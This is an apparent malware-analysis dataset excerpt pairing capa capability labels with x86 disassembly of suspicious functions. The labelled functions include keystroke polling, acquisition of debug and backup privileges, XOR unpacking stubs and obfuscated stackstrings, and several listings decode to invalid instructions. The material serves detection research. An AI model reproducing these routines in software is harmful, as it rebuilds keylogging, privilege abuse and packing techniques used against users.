joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b8d0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xb0
mov al, byte [0x65e049]
mov cl, byte [0x65e048]
xor cl, al
push esi
mov byte [0x65e048], cl
mov cl, byte [0x65e043]
or cl, 8
mov esi, dword [esp + 0xb8]
shr cl, 3
and ecx, 0xff
push 0x11
mov dword [esp + 8], ecx
fild dword [esp + 8]
fdivr qword [0x661970]
fadd qword [0x65e050]
fstp qword [0x661960]
mov dword [esi], 0
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x44b936
or dword [esi], 0x4000000
mov al, byte [0x65e046]
mov cl, byte [0x65e045]
xor al, cl
mov byte [0x65e046], al
or al, 0x30
shr al, 4
and eax, 0xff
mov dword [esp + 4], eax
fild dword [esp + 4]
fdivr qword [0x6619d0]
fstp qword [0x661960]
fld qword [0x65e050]
fadd qword [0x661970]
fstp qword [0x661970]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call fcn.0044b810
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 5
call dword [sym.imp.USER32.dll_GetSysColor]
mov eax, esi
pop esi
add esp, 0xb0
ret

Function at 0x4a1c94
Capabilities:
Encode data using xor

Disassembly:
xor dword [ebx + 0x67bbcbc1], ebx
push esi
and bl, byte [edi]
dec ecx
pop esi
push 0x27b2b1f7
push ebx
xor bl, byte [edi + ebp*2 + 0x4b2b7aa1]
rcr dword [ebx - 0x37], cl
or dword [ebp - 0xe7d93ce], edi
adc cl, dh
xor eax, 0x3d9e4902
and esp, esp
sahf
cmp eax, 0xace421f3
lodsb al, byte [esi]
int 0x38
and ebp, dword [ebp + 1]
mov word [edx - 0x799e8bdf], cs
jno 0x4a1c3d
and byte [ebx], ch
lodsb al, byte [esi]
inc ebx
mov edi, 0x2c1d7cc
sub al, 0x9c
mov eax, dword [0xc14482dd]
xchg ecx, eax
lodsd eax, dword [esi]
jl 0x4a1c0e
in al, dx
salc
das
xchg ecx, eax
sub eax, 0x2135663a
mov bl, 0xe0
sti
movsb byte es:[edi], byte [esi]
mov dl, 2
ljmp 0x41ce
das
pop ebx
loop 0x4a1cb9
aam 0xb8
jge 0x4a1c38
arpl word [esp + ebp*2 + 0x1e], di
push esi
fcomp qword [esi - 0x65]
mov dword [0x54afe6b3], eax
or eax, 0xba28f00d
jg 0x4a1ca0
xchg ecx, eax
xor eax, 0x38e39cad
sub dword [esi + 0x50f28d69], edi
aam 0x67
mul dword [edx - 0x6c9851ad]
push ebx
scasb al, byte es:[edi]
xchg ebx, eax
invalid
mov dl, 0x53
adc ch, byte [edx + eax*2]
sbb dword [ecx - 0x25ed48ed], eax
clc
xor edi, dword [edx - 0x74ffef91]
bound esp, qword [edx]
mov esp, dword [edx + 0x22]
push esi
push ebx
mov dword [0x7abfa395], eax
sub al, byte [ebp + 0x2d978e29]
mov bh, 0x6d
pop dword [edx - 0x4ed3325d]
mov byte [0x185af2b4], dh
mov cl, 0x88
xor eax, 0x185af2b4
or eax, 0x1df191d3
add eax, esi
xchg esp, eax
adc esi, dword [ebx + 0x2d]
mov dh, 0xec
std
mov ebp, 0x38b989b8
arpl word [ebp - 0x30beb2cb], bp
inc esp
fnsave dword [0x101dfefa]
in al, dx
arpl word [ecx], cx
inc edi
aad 0xc6
jae 0x4a1cec
or ah, byte [edi - 0x2f]
int 0xa8
lahf
fnsave dword [esi]
nop
inc esp
fld dword [ebx - 0x37]
adc edx, eax
push ds
lds ebx, [esp + ebx*8]
loop 0x4a1cd5
test eax, 0xb433e385
invalid
Function at 0x657e9d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x65e3a8
cmp edx, dword [eax]
je 0x657ebf
add eax, 8
inc ecx
cmp eax, 0x65e438
jl 0x657eb0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x65e3a8]
jne 0x657fed
mov eax, dword [0xa5ae08]
cmp eax, 1
je 0x657fc7
test eax, eax
jne 0x657ef0
cmp dword [0x65e2d4], 1
je 0x657fc7
cmp edx, 0xfc
je 0x657fed
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x657f27
lea eax, [ebp - 0x1a4]
push 0x65d500
push eax
call fcn.00658880
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00658d10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x657f6a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00658d10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65d4fc
push edi
call fcn.0065abe0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65d4e0
push eax
call fcn.00658880
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00658890
lea eax, [ebp - 0xa0]
push 0x65d4dc
push eax
call fcn.00658890
push dword [esi + 0x65e3ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.00658890
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65d4b4
push eax
call fcn.0065ab54
add esp, 0x2c
pop edi
jmp 0x657fed
lea eax, [ebp + 8]
lea esi, [esi + 0x65e3ac]
push 0
push eax
push dword [esi]
call fcn.00658d10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0xc621b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00c62140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00c62140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00c62140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00c62140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xc62bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xc62c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xc7487c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xc62c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xc62c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x408932
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
add ecx, ecx
call fcn.0040894e
inc ecx
sub eax, ecx
xor dword [edx], ebx
dec ecx
mov ecx, eax
inc edx
cmp edx, edi
jne fcn.00408932
sub eax, ecx
ret
Function at 0x402ddb
Capabilities:
Create pipe
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1004
call fcn.00408890
mov eax, dword [0x244ece4]
mov ecx, dword [0x244e774]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x402ebb
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov ebx, ecx
mov dword [esp + 0xc], eax
cmp dword [0x244ece4], 0x959
jne 0x402ea8
push esi
lea eax, [esp + 0x14]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x402a10
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
lea eax, [esp + 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
push esi
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
lea eax, [esp + 0x814]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
call fcn.00402ba7
add ebx, 8
dec dword [esp + 0xc]
jne 0x402e12
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4069f9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x436568]
jne 0x406a03
repz ret
jmp fcn.004088bb

Function at 0x40705b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x436568]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405727
and dword [ebp - 0x14], 0
cmp dword [0x43c290], 0
mov dword [ebp - 0x18], eax
jne 0x40710e
push 0x401df8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4071b6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401dec
push ebx
call edi
test eax, eax
je 0x4071b6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x401ddc
push ebx
mov dword [0x43c290], eax
call edi
push eax
call esi
push 0x401dc8
push ebx
mov dword [0x43c294], eax
call edi
push eax
call esi
push 0x401dac
push ebx
mov dword [0x43c298], eax
call edi
push eax
call esi
mov dword [0x43c2a0], eax
test eax, eax
je 0x40710e
push 0x401d94
push ebx
call edi
push eax
call esi
mov dword [0x43c29c], eax
mov eax, dword [0x43c29c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407167
cmp dword [0x43c2a0], ecx
je 0x407167
push eax
call esi
push dword [0x43c2a0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407167
test ebx, ebx
je 0x407167
call edi
test eax, eax
je 0x40715e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40715e
test byte [ebp - 8], 1
jne 0x407167
or dword [ebp + 0x10], 0x200000
jmp 0x40719a
mov eax, dword [0x43c294]
cmp eax, dword [ebp - 0x18]
je 0x40719a
push eax
call esi
test eax, eax
je 0x40719a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40719a
mov eax, dword [0x43c298]
cmp eax, dword [ebp - 0x18]
je 0x40719a
push eax
call esi
test eax, eax
je 0x40719a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43c290]
call esi
test eax, eax
je 0x4071b6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4071b8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004069f9
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x439b80
Capabilities:
Create directory

Disassembly:
push esi
sub esp, 8
mov eax, dword [esp + 0x10]
mov ecx, esp
mov esi, 0xffffffff
mov dword [esp], 0x56dfec
push ecx
push eax
call fcn.004d0490
add esp, 8
test al, al
je 0x439bb2
push dword [esp]
call dword [sym.imp.msvcrt.dll__wmkdir]
add esp, 4
mov esi, eax
mov eax, dword [esp]
lea ecx, [eax - 0xc]
cmp ecx, 0x56dfe0
jne 0x439bc7
mov eax, esi
add esp, 8
pop esi
ret
mov edx, 0xffffffff
lock xadd dword [eax - 4], edx
test edx, edx
jg 0x439bc0
lea eax, [esp + 4]
push eax
call fcn.00529f90
jmp 0x439bc0

Function at 0x439f70
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov ebx, dword [esp + 0x14]
mov ecx, esi
call fcn.00439df0
test eax, eax
je 0x439fab
imul edi, ebp
mov ecx, ebx
mov edx, edi
push eax
push esi
call fcn.0043b210
add esp, 8
cmp eax, 0xffffffff
je 0x439fb4
xor edx, edx
div ebp
jmp 0x439fb6
pop esi
pop edi
pop ebx
pop ebp
jmp sub.msvcrt.dll_fwrite
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x488bc0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x488c93
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
xor edi, edi
cmp ecx, 7
mov eax, 0
jbe 0x488c80
movdqa xmm2, xmmword [0x581be0]
mov edi, ecx
pxor xmm0, xmm0
xor eax, eax
pxor xmm1, xmm1
and edi, 0xfffffff8
nop
movd xmm3, dword [esi + eax]
movd xmm4, dword [esi + eax + 4]
movd xmm5, dword [edx + eax]
movd xmm6, dword [edx + eax + 4]
add eax, 8
cmp edi, eax
punpcklbw xmm3, xmm0
punpcklbw xmm4, xmm0
punpcklbw xmm5, xmm0
punpcklbw xmm6, xmm0
punpcklwd xmm3, xmm0
punpcklwd xmm5, xmm0
punpcklwd xmm4, xmm0
punpcklwd xmm6, xmm0
pxor xmm5, xmm3
pxor xmm6, xmm4
pand xmm5, xmm2
pand xmm6, xmm2
por xmm0, xmm5
por xmm1, xmm6
jne 0x488c00
por xmm1, xmm0
cmp edi, ecx
pshufd xmm0, xmm1, 0x4e
por xmm0, xmm1
pshufd xmm1, xmm0, 0xe5
por xmm1, xmm0
movd eax, xmm1
je 0x488c95
nop word cs:[eax + eax]
nop dword [eax]
movzx ebx, byte [edx + edi]
xor bl, byte [esi + edi]
inc edi
movzx ebx, bl
or eax, ebx
cmp ecx, edi
jne 0x488c80
jmp 0x488c95
xor eax, eax
pop esi
pop edi
pop ebx
ret

Function at 0x488ca0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x488cd1
mov edx, dword [esp + 8]
mov eax, 0x811c9dc5
nop word cs:[eax + eax]
nop dword [eax]
movzx esi, byte [edx]
inc edx
xor esi, eax
imul eax, esi, 0x1000193
dec ecx
jne 0x488cc0
pop esi
ret
mov eax, 0x811c9dc5
pop esi
ret

Function at 0x48b800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec dword [ecx + 0x5d880c4d]
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0048b508
aad 0x68
sub ebp, edx
lea eax, [ebp - 0x40]
push eax
call fcn.0048b518
push eax
push esi
push dword [ebp + 8]
call fcn.0048b4cd
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0048b508
loopne 0x48b834
jg 0x48b7fc
inc ebp
into
jl sym.adb.exe_PKCS7_bundle_certificates
inc ebp
iretd
xchg dword ds:[ebp + 0x5d88e845], ecx
call 0xe9a640c9
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0048b518
push eax
push esi
push dword [ebp + 8]
call fcn.0048b4cd
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
Function at 0x48b8d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0048b518
push eax
push esi
push dword [ebp + 8]
call fcn.0048b4cd
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0048b518
push eax
push esi
push dword [ebp + 8]
call fcn.0048b4cd
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0048b508
push ebp
and dword [edi], edi
mov dl, 0x88
popfd
jl 0x48b98d
invalid
invalid
Function at 0x48bb70
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x48bbbc
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
ror byte [ecx - 0x35c4f7b3], 1
ror byte [ecx - 0x35c4f7b3], 1
jae 0x48bbb7
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x48bba1
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x48bba9
cmp edx, ebx
jne 0x48bcf7
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x48bb78
add eax, dword [eax + 4]
jmp 0x48bb65
mov dword [ebp + 0xc], ebx
jmp 0x48bbc7
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x48bbdf
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x48bc5b
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x48bc42
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x48bc4b
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x48bc55
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x48bc37
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x48bbc1
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x48bca8
dec eax
je 0x48bc9f
sub eax, 3
je 0x48bc96
mov dword [ebp - 4], 0x40
jmp 0x48bcc5
mov dword [ebp - 4], 4
jmp 0x48bcab
mov dword [ebp - 4], 0x20
jmp 0x48bcab
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x48bcf7
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x48bc77
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x48bbd0
Capabilities:
Inspect section memory permissions

Disassembly:
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x48bbfd
Function at 0x48bc40
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x48bbbc
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
ror byte [ecx - 0x35c4f7b3], 1
ror byte [ecx - 0x35c4f7b3], 1
jae 0x48bbb7
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x48bba1
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x48bba9
cmp edx, ebx
jne 0x48bcf7
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x48bb78
add eax, dword [eax + 4]
jmp 0x48bb65
mov dword [ebp + 0xc], ebx
jmp 0x48bbc7
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x48bbdf
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x48bc5b
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x48bc42
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x48bc4b
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x48bc55
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x48bc37
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x48bbc1
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x48bca8
dec eax
je 0x48bc9f
sub eax, 3
je 0x48bc96
mov dword [ebp - 4], 0x40
jmp 0x48bcc5
mov dword [ebp - 4], 4
jmp 0x48bcab
mov dword [ebp - 4], 0x20
jmp 0x48bcab
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x48bcf7
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x48bc77
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x48bd70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [eax + 0x56fffffc], edi
mov byte [ebp - 0x347], 0x56
invalid
invalid
invalid

Function at 0x48bd90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [esi + eax*8 - 0x7b]
mov ebp, 0x55fffffc
mov byte [ebp - 0x342], 0x25
Function at 0x48bda0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea eax, [ebp - 0x354]
push eax
call fcn.0048b518
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048b4cd
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
invalid
test dword [edx - 4], ecx
invalid

Function at 0x48bea0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
call fcn.0048b518
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048b4cd
idiv bh
inc dword [ebx - 0x7a76f33c]
enter 0xfffffffffffffffa, 0xffffffffffffffff

Function at 0x48beb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
idiv bh
inc dword [ebx - 0x7a76f33c]
enter 0xfffffffffffffffa, 0xffffffffffffffff
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
adc dword [eax - 0x3e85b], eax
inc dword [eax]

Function at 0x48bed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
adc dword [eax - 0x3e85b], eax
inc dword [eax]
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], pe_nt_image_headers32
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0048b518
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0048b4cd
add esp, 0xc
invalid
test eax, eax
cld
invalid